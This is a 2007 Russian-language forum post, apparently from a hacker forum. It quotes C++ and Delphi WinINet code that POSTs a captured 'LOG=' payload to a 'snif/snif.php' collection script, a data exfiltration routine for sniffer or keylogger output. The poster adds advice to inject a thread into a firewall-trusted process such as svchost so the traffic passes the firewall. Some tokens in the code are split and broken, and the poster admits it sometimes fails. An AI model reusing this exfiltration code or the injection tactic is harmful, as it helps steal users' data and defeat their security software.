Тема: Есть идея!
Показать сообщение отдельно

  #27  
Старый 18.01.2007, 12:29
darkf0x
Новичок
Регистрация: 12.01.2007
Сообщений: 22
С нами: 10172416

Репутация: 14
По умолчанию

Цитата:
Сообщение от VaV  
Представлю на ваш суд пару реализаций



Реализация на C++(Borland) (сори за изврат, Visual Studio упала =))
!!пару раз не выполнялась, хз почему!!

//объявляем нужный нам модуль
#include <wininet.h>
#pragma comment(lib,"wininet.lib")

//данные
static TCHAR *hdr = ("Content-Type: application/x-www-form-urlencoded");
static TCHAR *frmdata = ("LOG=Test\r\n"); //лог для передачи
const
static TCHAR *AcceptType = ("Accept: */*");

//код
//создаем сессию
HINTERNET hSession = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NUL L,NULL,0);
//конектимся
HINTERNET hConnect = InternetConnect(hSession,"localhost",INTERNET_DEFA ULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,0) ;
//создаем запрос
HINTERNET hRequest = HttpOpenRequest(hConnect,"POST","snif/snif.php",NULL,NULL,&AcceptType,0,0);
//отправляем его с нашими данными
HttpSendRequest(hRequest, hdr, strlen(hdr), frmdata, strlen(frmdata));

//подчищаем за собой
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);


реализация на Delphi:

//данные
const
hdrs: string = 'Content-Type: application/x-www-form-urlencoded';
frmdata: string = 'LOG=TEST'#13#10;
var
hSession,hConnect,hRequest: HINTERNET;
AcceptType: LPStr;

//код
begin
//создаем сессию
hSession:= InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONFIG,nil, nil,0);
//коннектимся
hConnect:= InternetConnect(hSession,'localhost',INTERNET_DEFA ULT_HTTP_PORT,nil,nil,INTERNET_SERVICE_HTTP,0,0);
//устанавливаем тип приема
AcceptType := PChar('Accept: */*');
//создаем запрос
hRequest:= HttpOpenRequest(hConnect,'POST','snif/snif.php',nil,nil,@AcceptType,0,0);
//отправляем его
HttpSendRequest(hRequest,PChar(hdrs),Length(hdrs), PChar(frmdata),Length(frmdata));

// подчищаем за собой
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
Хм... До ужаса знакомые исходники! =(
Тока почемуто проверок нихера нет на выполнения функций и нужно перед этим создать трид в каком нить процессе, который FireWall разрешает(svchost - например) и тогда совсем рулез будет!
И даже Файрволл пустит! =) Я как раз над этим сейчас и бьюсь..

Последний раз редактировалось darkf0x; 18.01.2007 в 12:32..
 
Ответить с цитированием